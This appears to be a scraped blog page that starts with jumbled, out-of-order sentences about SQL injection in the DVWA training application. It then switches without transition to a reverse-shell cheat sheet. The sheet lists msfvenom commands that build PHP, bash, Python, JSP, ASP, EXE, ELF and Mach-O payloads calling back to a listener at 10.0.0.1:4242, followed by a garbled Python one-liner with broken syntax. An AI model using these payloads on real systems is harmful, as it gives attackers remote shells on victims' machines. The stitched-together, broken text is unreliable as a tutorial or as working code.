It takes an integer as input and displays the First Name and Surname associated with the User ID provided. Like in the screenshot shown below, the USER ID field could be vulnerable to SQL injection. By analyzing the application properly,the possible injection points can be identified. Identifying the SQL injection is the key step, and it takes a lot of skill and experience to identify the injection point. It is easy to install and configure DVWA and for the demo I have kept the script security as “low”. The concept behind the attack is the same in both the scenarios but there is a slight difference in exploitation that we will discuss later. I will be using two scenarios where DVWA is installed on Linux OS and another in Windows OS. It is a good tool for web application security enthusiasts to begin with. DVWA is PHPMySQLApache application and purposefully made vulnerable. It is easy to install and can be downloaded from. For the demo I am using Damn Vulnerable Web Application (DVWA). rlwrap will enhance the shell, allowing you to clear the screen with +. In order to catch a shell, you need to listen on the desired port.
$ msfvenom -p php /meterpreter_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.php cat shell.php | pbcopy & echo ' shell.php & pbpaste > shell.php Spawn TTY Shell $ msfvenom -p cmd /unix /reverse_perl LHOST = "10.0.0.1 " LPORT = 4242 -f raw > $ msfvenom -p cmd /unix /reverse_bash LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.sh
$ msfvenom -p cmd /unix /reverse_python LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.py $ msfvenom -p java /jsp_shell_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f war > shell.war $ msfvenom -p java /jsp_shell_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.jsp $ msfvenom -p windows /meterpreter /reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f asp > shell.asp
$ msfvenom -p osx /x86 /shell_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f macho > shell.macho $ msfvenom -p windows /meterpreter /reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f exe > shell.exe $ msfvenom -p linux /x86 /meterpreter /reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f elf > shell.elf C:\Python27\python.exe -c "(lambda _y, _g, _contextlib: (lambda: None)])(_contextlib.nested(type('except', (), ), 's2p')]] for _g in ] for _g in ] for _g in ] for _g in ])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), _import_('contextlib'))" PHP
0 kommentar(er)
